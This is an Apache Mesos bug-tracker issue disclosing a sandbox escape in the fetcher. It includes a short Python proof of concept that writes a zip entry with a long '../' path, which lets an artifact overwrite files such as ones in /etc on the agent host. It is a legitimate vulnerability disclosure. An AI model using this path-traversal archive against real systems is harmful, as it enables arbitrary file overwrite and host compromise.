Uploaded image for project: 'Mesos'
  1. Mesos
  2. MESOS-9610

Fetcher vulnerability - escaping from sandbox

    XMLWordPrintableJSON

Details

    • Mesos Foundations RI11 Sp 41
    • 3

    Description

      I have noticed that there is a possibility to exploit fetcher and  overwrite any file on the agent host.

      scenario to reproduce:

      1) prepare a file with any content and name a file like "../../../etc/test" and archive it. We can use python and zipfile module to achieve that:

      >>> import zipfile
      >>> zip = zipfile.ZipFile("exploit.zip", "w")
      >>> zip.writestr("../../../../../../../../../../../../etc/mariusz_was_here.txt", "some content")
      >>> zip.close()
      
      

      2) prepare a service that will use our artifact (exploit.zip)

      3) run service

      at the end in /etc we will get our file. As you can imagine there is a lot possibility how we can use it.

       

       

      Attachments

        Issue Links

          Activity

            People

              kaysoky Joseph Wu
              mderela Mariusz Derela
              Gilbert Song Gilbert Song
              Votes:
              0 Vote for this issue
              Watchers:
              5 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: